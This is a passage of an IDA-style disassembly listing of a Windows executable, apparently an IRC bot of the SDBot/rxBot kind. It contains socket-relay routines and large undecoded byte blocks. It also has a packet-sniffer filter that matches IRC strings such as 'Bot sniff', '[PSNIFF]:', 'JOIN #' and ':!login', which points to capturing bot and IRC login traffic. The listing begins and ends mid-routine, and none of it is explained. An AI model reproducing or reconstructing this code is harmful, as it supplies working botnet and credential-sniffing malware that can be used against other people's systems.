loc_411A22 ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_4119F9+2Dj ; sub_4119F9+79j mov esi, dword_427094 call esi cmp eax, 6Dh jz short loc_411AA6 call esi push eax push offset dword_435684 call sub_415DAC pop ecx pop ecx loc_411AA6: ; CODE XREF: sub_4119F9+9Cj pop edi pop esi pop ebx leave retn sub_4119F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411AAB proc near ; DATA XREF: sub_4116D6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_411AC4: ; CODE XREF: sub_411AAB+39j ; sub_411AAB+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CB9EC test eax, eax jle loc_411BC9 cmp [ebp+var_10], ebx jbe short loc_411AE6 dec [ebp+var_10] jmp short loc_411AC4 ; --------------------------------------------------------------------------- loc_411AE6: ; CODE XREF: sub_411AAB+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411BA9 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411B56 cmp al, 7Fh jz short loc_411B56 cmp al, 3 jnz short loc_411B11 push ebx push ebx call near ptr 27B0000h nop jmp short loc_411B7D ; --------------------------------------------------------------------------- loc_411B11: ; CODE XREF: sub_411AAB+5Aj cmp al, 15h jnz short loc_411B33 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B33: ; CODE XREF: sub_411AAB+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411B6A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B56: ; CODE XREF: sub_411AAB+52j ; sub_411AAB+56j cmp esi, ebx jbe short loc_411B80 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411B69: ; CODE XREF: sub_411AAB+86j ; sub_411AAB+A9j pop ecx loc_411B6A: ; CODE XREF: sub_411AAB+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CBA24 test eax, eax jle short loc_411BC9 loc_411B7D: ; CODE XREF: sub_411AAB+64j mov al, byte ptr [ebp+arg_0+3] loc_411B80: ; CODE XREF: sub_411AAB+ADj cmp al, 0Dh jnz loc_411AC4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call near ptr 2720000h nop test eax, eax jz short loc_411BC9 xor esi, esi jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BA9: ; CODE XREF: sub_411AAB+47j cmp [ebp+var_C], ebx jnz short loc_411BBA mov [ebp+var_C], 1 jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BBA: ; CODE XREF: sub_411AAB+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BC9: ; CODE XREF: sub_411AAB+2Bj ; sub_411AAB+D0j ... pop edi pop esi pop ebx leave retn sub_411AAB endp ; --------------------------------------------------------------------------- word_411BCE dw 8B55h ; DATA XREF: sub_401ACD+2BC4o dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h dd 0B8895300h, 43E91Ch, 50EC458Dh, 15FF57h, 85004CBAh dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh, 50004357h dd 0A579E8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF96BEh dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h dd 8458D00h, 2C858D50h, 56FFFFFFh, 1DD36850h, 56560041h dd 27E2D7E8h, 4D8B9002h, 34C969C8h, 3B000002h, 248189C6h dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 0F1AAE890h dd 0EDEB0226h, 0EB15E890h, 8D500227h, 0FFFD2C85h, 56F468FFh dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h dd 59FFFF99h, 0E8905659h, 22DECB0h, 555B5E5Fh, 0EC81EC8Bh dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 43E91Ch, 0ACB889h dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh dd 0FFFF988Ah, 0E8905359h, 22DEC2Ch, 30858D53h, 68FFFFFBh dd 408h, 0FF36FF50h, 4CB9EC15h, 7FC08500h, 0FF36FF18h dd 4CBA6C15h, 875FF00h, 0FF9859E8h, 905359FFh, 2DEBFBE8h dd 30BD8002h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h dd 59FFFF97h, 65E89053h, 6A022DEBh, 0E8458D10h, 49E85053h dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh dd 6AFFFFFBh, 26A5706h, 0E845C766h, 45890002h, 5415FFECh dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 0CDE89053h, 8D022DEAh dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h dd 5359FFFFh, 2DEA5FE8h, 689002h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 9F2FE8h dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0BA2415FFh dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h, 1E89053h dd 0FF022DEAh, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h dd 0E9E89053h db 0E9h, 2Dh, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4120AD: ; CODE XREF: ___:0041215Cj ; ___:0041218Cj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4120C5: ; CODE XREF: ___:004120D3j mov edx, [ebp+8] cmp [eax], edx jz short loc_4120D5 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4120C5 loc_4120D5: ; CODE XREF: ___:004120CAj cmp ecx, 1 jnz short loc_4120EA mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4120EA: ; CODE XREF: ___:004120D8j push esi lea eax, [ebp-504h] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CB9BC lea eax, [ebp-104h] push eax push ebx call dword_4CB8C0 test eax, eax jz short loc_41214A push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_412192 loc_41214A: ; CODE XREF: ___:0041211Cj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CB8C0 test eax, eax jz loc_4120AD push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz loc_4120AD loc_412192: ; CODE XREF: ___:00412131j ; ___:00412148j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- byte_412197 db 55h ; DATA XREF: sub_401ACD+20B3o ; sub_40BD91+106o dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h, 226ED0Ch dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h dd 94A8E8FFh, 5959FFFFh, 0E84AE853h, 8D90022Dh, 46AF045h dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh dd 234C069h, 89530000h, 43E91CB0h, 0D4458D00h, 9CF6E850h dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h dd 83004CBAh, 1975FFF8h, 138868h, 45E89000h, 0FF0226ECh dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh dd 190h, 0EC12E890h, 8D530226h, 0FFF88885h, 24B5FFFFh dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh dd 858DFFFFh, 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h dd 0FF93B9E8h, 1CC483FFh, 59E89053h, 8B022DE7h, 9F39087Dh dd 2A0h, 27D840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h dd 0F78485C7h, 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B9BC15FFh, 0C085004Ch dd 2218E0Fh, 88A00000h, 8B0043DBh, 888588CFh, 33FFFFFAh dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh, 50000000h dd 0AC15FF56h, 0FF004CB9h, 4589C875h, 6015FFF8h, 50004CBAh dd 50B0458Dh, 9E8DE8h, 309D3800h, 59FFFFFFh, 0AA850F59h dd 80000001h, 0FFFF31BDh, 850F01FFh, 0A3h, 0FD94858Dh dd 0E850FFFFh, 95C0h, 75FF5353h, 0B681E8FCh, 75FF0000h dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh dd 96C0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0BA3815FFh, 9D39004Ch dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 73E7E8FFh, 0C483FFFFh dd 88858D14h, 50FFFFF8h, 38A7E8h, 10E95900h, 80000001h dd 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah, 858AFFFFh dd 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh dd 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h, 0EEBFFFFh dd 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh, 0C9B60FC0h dd 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h, 0FC75FF50h dd 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh, 0E7E85001h dd 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh, 478D50F4h dd 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h, 75FB3B00h dd 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434798h, 9D18E850h dd 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h, 0FFFFF888h dd 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch dd 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh, 37B0h dd 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh, 68096A53h dd 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh, 0FFFFFD77h dd 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh, 8DFF0000h dd 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h, 0E8FFFFFEh dd 0FFFF90FAh, 0E8905359h, 22DE49Ch, 3E868h, 9E89000h dd 570226E9h, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h cmp dword ptr [ebp+98h], 0 jz short loc_41266C push esi mov esi, offset dword_435848 loc_412614: ; CODE XREF: ___:00412667j push esi push dword ptr [ebp+0Ch] call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41265B push esi lea eax, [ebp-200h] push dword ptr [ebp+8] push offset dword_436BB4 push 200h push eax call sub_41C360 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409869 add esp, 28h loc_41265B: ; CODE XREF: ___:00412621j add esi, 80h cmp esi, offset dword_436448 jb short loc_412614 pop esi jmp short loc_4126A3 ; --------------------------------------------------------------------------- loc_41266C: ; CODE XREF: ___:0041260Cj push dword ptr [ebp+8] lea eax, [ebp-200h] push offset aS_1 ; "%s" push 200h push eax call sub_41C360 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409869 add esp, 24h loc_4126A3: ; CODE XREF: ___:0041266Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- byte_4126A7 db 55h ; DATA XREF: sub_401ACD+7374o dd 0EC81EC8Bh, 920h, 5308458Bh, 0A5835756h, 0FFFFF6E0h dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h dd 94h, 1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h dd 86A0000h, 26E7EFE8h, 15FF9002h, 4CB958h, 0FF8453Bh dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h dd 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 97BBE8h dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h dd 6FE85000h, 8100009Ah, 8CECh, 8D34EB00h, 0E850B845h dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh, 858D50FCh dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h, 0A1h, 15FF016Ah dd 4CB9A0h, 80013D66h, 8F850Fh, 858D0000h, 0FFFFFD20h dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h, 50FFFFFDh dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh, 0FC8B5926h dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h dd 0FFFB2085h, 6A53FFh, 964EE850h, 0C4830000h, 0FC45C70Ch dd 43644Ch, 15FF106Ah, 4CB8A8h, 8BF0BF0Fh, 788BFC45h, 15FF57FCh dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h, 0BD84C710h dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h, 0F6E0BD84h, 0F685FFFFh dd 158840Fh, 20830000h, 20858D00h, 83FFFFFDh, 755008FFh dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh, 0FD20858Dh dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h, 0D2h, 0B95815FFh dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h, 0C4830000h dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h dd 0FD20858Dh, 6AFFFFh, 9486E850h, 0C4810000h, 0ACh, 0FB20858Dh dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h, 83FFFFFDh dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh dd 90006A59h, 2DDF1FE8h db 2 byte_412B61 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+4150o dd 102B4B8h, 9992E800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h, 4589026Ah dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h, 6815FF5Dh dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h, 9675E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h dd 565959FFh, 0DE4AE890h, 458B022Dh, 69106AD0h, 234C0h dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh, 0F883004Ch dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah, 0DDC6E856h dd 5690022Dh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch, 89A0E8D0h dd 5659FFFFh, 2DDD43E8h, 0BB539002h, 436C58h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2DDBA3E8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412EDD proc near ; CODE XREF: sub_4131EC+213p ; sub_4131EC+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CE734, eax mov eax, offset dword_4CE734 retn sub_412EDD endp ; =============== S U B R O U T I N E ======================================= sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_412F06 loc_412F02: ; CODE XREF: sub_412EEC+29j ; sub_412EEC+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412F06: ; CODE XREF: sub_412EEC+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aJoin_0 ; "JOIN #" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_412F4E loc_412F4A: ; CODE XREF: sub_412EEC+71j ; sub_412EEC+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412F4E: ; CODE XREF: sub_412EEC+5Cj ; DATA XREF: ___:off_43ACE0o push offset a302_0 ; "302 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a366 ; "366 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login_0 ; ":.login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_1 ; ":!login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_0 ; ":!Login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login ; ":.Login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_ident ; ":.ident" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aIdent_0 ; ":!ident" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz loc_412F4A push offset a_hashin ; ":.hashin" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz loc_412F4A push offset aHashin ; ":!hashin" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412EEC endp ; =============== S U B R O U T I N E ======================================= sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41301D loc_413019: ; 